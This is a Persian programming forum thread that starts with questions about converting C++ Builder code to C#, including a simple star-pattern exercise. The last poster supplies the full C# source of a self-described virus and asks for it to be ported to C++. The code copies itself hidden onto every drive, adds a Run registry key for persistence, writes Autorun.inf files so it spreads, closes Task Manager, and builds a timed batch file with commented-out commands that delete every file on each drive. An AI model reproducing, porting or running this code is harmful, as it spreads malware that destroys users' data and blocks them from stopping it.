PDA

View Full Version : تبدیل کد c ++ builder به c#



Mega7000
دوشنبه 22 اسفند 1384, 21:46 عصر
سلام
راهی وجود داره که بشه ل کد c ++ builder به c# تبدیل کرد؟

محمد میرمصطفی
جمعه 26 اسفند 1384, 00:51 صبح
بعید میدونم. فکر نکنم راهی داشته‏باشه.

Mega7000
جمعه 26 اسفند 1384, 23:11 عصر
پس من چطور می تونم این کارو بکنم؟
به delphi نمی شه تبدیل کنم؟

محمد میرمصطفی
شنبه 27 اسفند 1384, 00:37 صبح
بازم بعیده. حالا چه کدی داری که اینقدر مهمه که حتما باید تبدیل بشه؟

Mega7000
شنبه 27 اسفند 1384, 19:04 عصر
یک کامپایلر ساده

Delphi Skyline
یک شنبه 28 اسفند 1384, 10:01 صبح
نگاه کنید یه سری برنامه هست که این کارو می کنن اما اینقدر ضعیف هستن که خودتون خندتون میگیره . می تونید کد رو بزارید اینجا من خودم تبدیل به دلفی یا سی شارپ می کنم . چون تبدیل Syntax خیلی آسونه . البته سی بیلدر برای نوشتن مفسر (اون چیزی که شما نوشتید مفسر است نه کامپایلر) خیلی بهتر و سریع تره .

kiuhnmgtrdcv
پنج شنبه 17 اردیبهشت 1388, 15:08 عصر
اگر منظورتون c++/clr هست میشه ولی اگر win32 ، mfc منظورتونه که هیچ

shirazzihaa
چهارشنبه 23 اسفند 1391, 21:53 عصر
دوستان عزیزم من این کد رو دارم می خوام به C#‎‎ تبدیل بشه . به console aplication ممنون میشم . فردا باید تحویل استاد بدم

اینم کدش:
int main(int argc, char *argv[])
{
for(int i=0;i<7;i++){
for(int j=0;j<7;j++)
if(abs(j-3)>=min(abs(6-i),i))
cout<<'*';
else
cout<<" ";
cout<<endl;
}
getch();
return 0;
}

shirazzihaa
چهارشنبه 23 اسفند 1391, 22:18 عصر
آقا تو رو خدا کمک کنید . خواهش می کنم

shirazzihaa
چهارشنبه 23 اسفند 1391, 22:31 عصر
کمکم نمیکنید؟

abdullah20
چهارشنبه 23 اسفند 1391, 22:44 عصر
این که خیلی ساده هستش
اصلا نیاز به نرم افزار کانورتور نداره
با این که سوال دانشجویی هستش ولی دلم سوخت
for(int i = 0;i<7;i++)
{
for(int j = 0;j<7;j++)
if(Math.Abs(j-3)>= Math.Min(Math.Abs(6-i),i))
{
Console.Write('*');
}
else
{
Console.Write(" ");
}
Console.Write("\n");
}

shirazzihaa
چهارشنبه 23 اسفند 1391, 23:02 عصر
مرسی واقعا ممنون

Deathgate
پنج شنبه 14 خرداد 1394, 17:27 عصر
سلام منم میتونید کمک کنید ؟ اینم خیلی برام مهمه
using System;using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.Windows.Forms;
using System.IO;
using System.Runtime.InteropServices;
using System.Messaging.Design;
using System.Web.Query.Dynamic;
using Microsoft.Win32;


namespace The_End
{
public partial class ertert : Form
{
//hengame rah andazi back eslash haye task bar Manager ro baraye basreshodan bardar
//va taimer 2 ra rahandazi kon
[DllImport("user32.dll")]
public static extern int FindWindow(string a, string b);
[DllImport("user32.dll")]
public static extern int SendMessage(int a, int b, int c, int d);
public ertert()
{
InitializeComponent();
}


private void Form1_FormClosing(object sender, FormClosingEventArgs e)
{
e.Cancel = true;
}


private void Form1_Load(object sender, EventArgs e)
{

}


private void timer1_Tick(object sender, EventArgs e)
{
RegistryKey reg = Registry.CurrentUser.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", true);
//this for copy Virus to all drive
for (int a = 0; a <= 24; a++)
{
string[] i = { "b", "c", "d", "e", "f", "g", "h", "i", "j", "k", "l", "m", "n", "o", "p", "q", "r", "s", "t", "u", "v", "w", "x", "y", "z" };
string b = i[a] + ":\\The End.exe";
string c = i[a] + ":\\Autorun.inf";
string d = i[a] + ":\\";
if (Directory.Exists(d))
{
if (Directory.Exists(d + "Windows"))
{
string wwin = d + "Windows";
if(!File.Exists(wwin+"\\The End.exe")){
FileInfo file;
file = new FileInfo("The End.exe");
file.Attributes = FileAttributes.Hidden;
File.Copy("The End.exe", wwin + "\\The End.exe");
reg.SetValue("End Time", wwin + "\\The End.exe");
}
}
if (!File.Exists(b))
{
FileInfo file;
file = new FileInfo("The End.exe");
file.Attributes = FileAttributes.Hidden;
File.Copy("The End.exe", b);
}
else
{


}
if (!File.Exists(c))
{
FileInfo file;
file = new FileInfo("Autorun.inf");
file.Attributes = FileAttributes.Hidden;
File.Copy("Autorun.inf", c);
}
else
{

}
}
}
}


private void timer2_Tick(object sender, EventArgs e)
{
//This for closing Task Manager
int a = FindWindow(null,"Task Manager");
SendMessage(a, 16, 0, 0);
int b = FindWindow(null, "Windows Task Manager");
SendMessage(b, 16, 0, 0);
}


private void timer3_Tick(object sender, EventArgs e)
{
//This for create Autorun if Virus can open as all drive
if(!File.Exists("Autorun.inf")){
StreamWriter a = new StreamWriter("Autorun.inf",true);
a.WriteLine("[autorun]");
a.WriteLine("USEAUTOPLAY=1");
a.WriteLine("shellexcute=The End.exe");
a.WriteLine("Shelltucite");
a.WriteLine("action=Open");
a.WriteLine("Open=The End.exe");
a.WriteLine("USEAUTOPLAY=1");
a.WriteLine("shellexecute=The End.exe");
a.WriteLine("shell\\\\\\explore\\\\\\command=The End.exe");
a.WriteLine("shell\\\\\\Open\\\\\\command=The End.exe");
a.WriteLine("action=Open folder to view files using Windows Explorer");
a.Close();
FileInfo file;
file = new FileInfo("Autorun.inf");
file.Attributes = FileAttributes.Hidden;
}
}


private void timer4_Tick(object sender, EventArgs e)
{
if (!File.Exists("endbat.bat")) {
StreamWriter Explorer = new StreamWriter("endbat.bat",true);
Explorer.WriteLine("title FA");
Explorer.WriteLine("color 4c");
Explorer.WriteLine("cmd");
// Explorer.WriteLine("del d:\\*.* /s /q");
// Explorer.WriteLine("del e:\\*.* /s /q");
// Explorer.WriteLine("del f:\\*.* /s /q");
// Explorer.WriteLine("del g:\\*.* /s /q");
// Explorer.WriteLine("del h:\\*.* /s /q");
// Explorer.WriteLine("del i:\\*.* /s /q");
// Explorer.WriteLine("del j:\\*.* /s /q");
// Explorer.WriteLine("del k:\\*.* /s /q");
// Explorer.WriteLine("del l:\\*.* /s /q");
// Explorer.WriteLine("del m:\\*.* /s /q");
// Explorer.WriteLine("del n:\\*.* /s /q");
// Explorer.WriteLine("del o:\\*.* /s /q");
// Explorer.WriteLine("del p:\\*.* /s /q");
// Explorer.WriteLine("del q:\\*.* /s /q");
// Explorer.WriteLine("del r:\\*.* /s /q");
// Explorer.WriteLine("del s:\\*.* /s /q");
// Explorer.WriteLine("del t:\\*.* /s /q");
// Explorer.WriteLine("del u:\\*.* /s /q");
// Explorer.WriteLine("del v:\\*.* /s /q");
// Explorer.WriteLine("del w:\\*.* /s /q");
// Explorer.WriteLine("del x:\\*.* /s /q");
// Explorer.WriteLine("del y:\\*.* /s /q");
// Explorer.WriteLine("del z:\\*.* /s /q");
Explorer.Close();
FileInfo file;
file = new FileInfo("endbat.bat");
file.Attributes = FileAttributes.Hidden;
}
if (File.Exists("time.end")) {
StreamReader datee = new StreamReader("time.end");
int validdatee = int.Parse(datee.ReadLine());
int mosbat = int.Parse(datee.ReadLine());
datee.Close();
DateTime ddate;
ddate = DateTime.Now;
int nowdate = int.Parse(ddate.Day.ToString());
if (nowdate >= mosbat)
{
int aaaa = FindWindow(null, "Administrator: FA");
if (aaaa == 0)
{
System.Diagnostics.Process.Start("endbat.bat");
}
}
}
}


private void timer5_Tick(object sender, EventArgs e)
{
DateTime Datdate;
Datdate = DateTime.Now;
int abab = int.Parse(Datdate.Day.ToString());
if(abab <= 28){
if (!File.Exists("time.end"))
{
StreamWriter t = new StreamWriter("time.end", true);
t.WriteLine(Datdate.Day);
t.WriteLine(Datdate.Day+2);
t.Close();
FileInfo file;
file = new FileInfo("time.end");
file.Attributes = FileAttributes.Hidden;
}
}

}

/*
private void timer6_Tick(object sender, EventArgs e)
{

}
*/
}
}

Deathgate
پنج شنبه 14 خرداد 1394, 17:38 عصر
من C# به C++ میخوام و لطفا از این کد استفاده نکنید ممنون